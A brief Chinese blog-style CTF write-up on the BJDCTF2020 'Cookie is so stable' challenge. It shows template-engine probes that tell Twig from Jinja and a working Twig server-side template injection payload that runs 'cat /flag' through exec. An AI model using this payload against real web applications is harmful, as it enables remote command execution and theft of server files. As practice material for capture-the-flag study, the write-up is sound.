BUUOJ刷题记录 [BJDCTF2020]Cookie is so stable

BUUOJ刷题记录 [BJDCTF2020]Cookie is so stable

ssti注入
先测引擎

Twig 
{{7*'7'}}  #输出49
Jinja
{{7*'7'}}  #输出7777777

参考这篇文章

Twig模板对应的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注